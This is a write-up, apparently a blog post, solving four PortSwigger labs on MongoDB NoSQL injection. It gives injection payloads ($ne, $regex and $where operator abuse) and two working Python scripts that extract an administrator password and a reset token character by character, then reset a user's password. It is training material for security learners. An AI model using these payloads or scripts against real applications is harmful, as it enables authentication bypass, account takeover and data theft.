NoSQL Injection — Portswigger

Abdul Wassay (HotPlugin)
10 min readOct 28, 2023
https://portswigger.net/web-security/

NoSQL injection is a security vulnerability that arises in non-relational databases, allowing attackers to manipulate or exploit the system. Unlike traditional SQL injection, NoSQL injection occurs when unsanitized or malicious input is used to query NoSQL databases, potentially leading to unauthorized access, data leakage, or data corruption.

Impact

Bypass Authentication Mechanisms

An attacker exploiting NoSQL injection may manipulate query parameters to bypass authentication checks and gain unauthorized access to restricted data or functions. For example, if a web application uses NoSQL databases and does not properly validate user input, an attacker could craft a query to gain access to an admin account or sensitive user data.

Extract or Edit Data

NoSQL databases store data in a flexible and schema-less format, making it easier for attackers to extract or modify data if not properly protected. By injecting malicious input into a NoSQL query, an attacker can retrieve, alter, or delete data. For instance, if a web application uses NoSQL for user profiles, an attacker might modify their own profile to gain administrative privileges or delete another user's data.

Cause a Denial of Service (DOS)

NoSQL injection can also be exploited to disrupt the availability and functionality of a system. An attacker may craft queries that consume excessive system resources, leading to a denial of service (DoS) attack. This can render the application or database unresponsive, impacting legitimate users. For instance, an attacker could design a query that performs many expensive operations in rapid succession, causing the NoSQL database to become overwhelmed and unresponsive.

Execute Code on the Server

In some cases, NoSQL injection can be leveraged to execute arbitrary code on the server. This is especially dangerous as it can lead to complete compromise of the system. For example, if an application allows users to submit NoSQL queries directly, and these queries are executed on the server without proper validation, an attacker could inject code to gain full control over the server or potentially compromise the entire application.

Preventing NoSQL Injection

Following strategies are recommended depending on the NoSQL technologies in use.

  • Sanitize and validate user input, using an allowlist of accepted characters.
  • Insert user input using parameterized queries instead of concatenating user input directly into the query.
  • To prevent operator injection, apply an allowlist of accepted keys.

Practical Labs

Lab 01 — Detecting NoSQL Injection

The product category filter for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection. To solve the lab, perform a NoSQL injection attack that causes the application to display unreleased products.

Solution:

Start the lab, select any category and notice the category parameter.

Enter the single quote in the category parameter and observe the error.

Enter backslash before single quote to resolve the error. This confirms the NoSQLi vulnerability as we also saw the error message above.

Now add ' || '1 in the category parameter to see all released and unreleased products and solve the lab.

Lab 02 — Exploiting NoSQL operator injection to bypass authentication

The login functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection using MongoDB operators. To solve the lab, log into the application as the administrator user. You can log in to your own account using the following credentials: wiener:peter

Solution:

Access the lab, go to my account and enter the given username and password to login

Find the POST request to login in burp proxy, send it to repeater and send it and notice the response, how it redirects us when authentication is successful

And on wrong credentials it shows the following message without any redirect

Now, when injecting the not equal ( $ne) operator in password value, it still is successful. This means that we bypassed the login without knowing password.

Now, if we change the username to admin, it gives the error message that username or password is invalid. Since, we know that password cannot be wrong because we haven’t supplied one, this means that the username admin is not present in the database.

If we inject the same $ne operator in username value, it gives the following error.

Injecting $regex operator in the username value works and we get logged in as admin. In the id parameter in response, we can see that the username was admin77swa3kz . There’s no way, we could have guessed it, but the regex operator did the magic and found the username.

By seeing the response in browser, we can that now we have logged in as admin.

Lab 03 — Exploiting NoSQL injection to extract data

The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection. To solve the lab, extract the password for the administrator user, then log in to their account. You can log in to your own account using the following credentials: wiener:peter.

Solution:

For the solution of this lab, I wrote the following python script which first determines the length of password and then extracts the password one by one character wise.

import requests, urllib3, urllib, string, sys
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}

URL = "https://0a50002f04d07ab9815dace100eb00bb.web-security-academy.net"

# Logging in
s = requests.Session()
r = s.get(URL + "/login", verify=False)
bs = BeautifulSoup(r.text, 'html.parser')
csrf_token = bs.find("input")['value']
data = {
"csrf" : csrf_token,
"username" : "wiener",
"password" : "peter"
}

s.post(URL + "/login", data=data, verify=False)

endpoint = URL + "/user/lookup?user=administrator"
length = 0

# Finding length
print("[*] Finding Length")
for i in range(1, 100):
payload = f"' && this.password.length > {i} || 'a'=='b"
URL = endpoint + urllib.parse.quote(payload)
r = s.get(URL, verify=False)
if "message" in r.text:
print(f"[+] Length: {i}")
length = i
break

# Finding password
print("[*] Finding Password")
chars = string.ascii_lowercase
passwd = ''
for i in range(length):
for c in chars:
payload = f"' && this.password[{i}] == '{c}' || 'a'=='b"
URL = endpoint + urllib.parse.quote(payload)
r = s.get(URL, verify=False)
if "message" not in r.text:
passwd += c
sys.stdout.write('\r' + passwd)
sys.stdout.flush()
break
else:
sys.stdout.write('\r' + passwd + c)
sys.stdout.flush()
print("\n[+] Done!!")

Running the script, we get the password for administrator user. Logging in as administrator solves the lab.

Lab 04 — Exploiting NoSQL operator injection to extract unknown fields

The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection. To solve the lab, you’ll first need to exfiltrate the value of the password reset token for the user carlos and log in.

Solution:

Access the lab, go to My account page and enter username carlos and any random password and login.

Also click on Forgot Password and enter carlos username and submit.

In the Burp proxy, find the POST request to /login and send it to repeater. Note the error message that it gives when entering incorrect password

Inject the not equal operator in password and notice how it gives a different message that account is locked.

Now inject the $where operator and cause to application to sleep for 5 seconds to confirm if it’s being evaluated or not.

Now inject the following payload in where condition, send the request to intruder, select two payload positions and Cluster Bomb as attack type.

{"username":"carlos","password":{"$ne":"test"},
"$where":"Object.keys(this)[0].match('^.{0}a.*')"}

In the payloads tabs, select type numbers starting from 0 to 20 for payload set 1 and simple list containing upper and lowercase letters and numbers from 0 to 9 for payload set 2.

Start the attack and filter the response to match keyword locked. We have got the name of first field which is id.

Now here we can guess or find all the fields one by one. But in this scenario the first is id, second is username, third is password, so we need to find the fourth field. It can be done by again going to the intruder tab and change index in our payload from 0 to 3.

Again follow the same steps as mentioned above for filtering response. Now, we got the name of fourth field.

Now that we know the name of third field, we need to extract the reset token from it. Here, we can follow the steps from Lab 3 or just modify the payload that we just used now. I am going to modify this payload that we just used.

{"username":"carlos","password":{"$ne":"test"},
"$where":"this.resetPwdToken.match('^.{0}a.*')"}

Start the attack to extract the reset token

Now that we have got the token, how do we submit it. See the GET request to /forgot-password in Burp proxy, send it to repeater. Add the resetPwdToken (the field name that we extracted) parameter and given token as value and send the request.

Now see the response in browser, reset the password and then login as carlos to complete the lab.

Here’s the script that i wrote to automatically extract the token and reset the password of carlos to admin.

import requests, urllib3, string, sys, json
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}

URL = "https://0a2e00b903b7734180e1af6b0066007f.web-security-academy.net"

s = requests.session()

# Submitting Forgot Password Form
forgot_pwd = URL + "/forgot-password"
r = s.get(forgot_pwd, verify=False)
bs = BeautifulSoup(r.text, 'html.parser')
csrf_token = bs.find("input")['value']

data = {
"csrf" : csrf_token,
"username" : "carlos"
}
s.post(forgot_pwd, data=data, verify=False)

# Finding length of field name
print(f"[*] Finding Field Length")
login = URL + "/login"
header = {
"Content-Type": "application/json"
}
field_len = 0
for i in range(20):
data = json.dumps({
"username":"carlos",
"password":{"$ne":"test"},
"$where":f"Object.keys(this)[3].length == {i}"
})
r = s.post(login, data=data, headers=header, verify=False)
if "locked" in r.text:
field_len = i
sys.stdout.write('\r' + str(i))
sys.stdout.flush()
break
else:
sys.stdout.write('\r' + str(i))
sys.stdout.flush()


# Finding Field Name
print("\n[*] Finding Field Name")
field_name = ""
chars = string.ascii_letters + string.digits
for i in range(field_len):
for c in chars:
data = json.dumps({
"username":"carlos",
"password":{"$ne":"test"},
"$where":f"Object.keys(this)[3].match('^.{{{i}}}{c}.*')"
})
r = s.post(login, data=data, headers=header, verify=False)
if "locked" in r.text:
field_name += c
sys.stdout.write('\r' + field_name)
sys.stdout.flush()
break
else:
sys.stdout.write('\r' + field_name + c)
sys.stdout.flush()

# Finding length of token
print(f"\n[*] Finding Token Length")
token_len = 0
for i in range(50):
data = json.dumps({
"username":"carlos",
"password":{"$ne":"test"},
"$where":f"this.{field_name}.length == {i}"
})
r = s.post(login, data=data, headers=header, verify=False)
if "locked" in r.text:
token_len = i
sys.stdout.write('\r' + str(i))
sys.stdout.flush()
break
else:
sys.stdout.write('\r' + str(i))
sys.stdout.flush()


# Extract Token
print("\n[*] Extracting Token")
token = ""
chars = string.ascii_letters + string.digits
for i in range(token_len):
for c in chars:
data = json.dumps({
"username":"carlos",
"password":{"$ne":"test"},
"$where":f"this.{field_name}.match('^.{{{i}}}{c}.*')"
})
r = s.post(login, data=data, headers=header, verify=False)
if "locked" in r.text:
token += c
sys.stdout.write('\r' + token)
sys.stdout.flush()
break
else:
sys.stdout.write('\r' + token + c)
sys.stdout.flush()

print("\n[*] Resetting Password")
reset_pwd = forgot_pwd + f"?{field_name}={token}"
r = s.get(reset_pwd, verify=False)
bs = BeautifulSoup(r.text, 'html.parser')
csrf_token = bs.find("input")['value']

data = {
"csrf" : csrf_token,
field_name : token,
"new-password-1" : "admin",
"new-password-2" : "admin"
}

r = s.post(reset_pwd, data=data, verify=False, proxies=proxies)
if r.status_code == 200:
print("[+] Username: carlos\n[+] Password: admin")
else:
print("[-] Something Went Wrong!")

Cheers!

References

--

--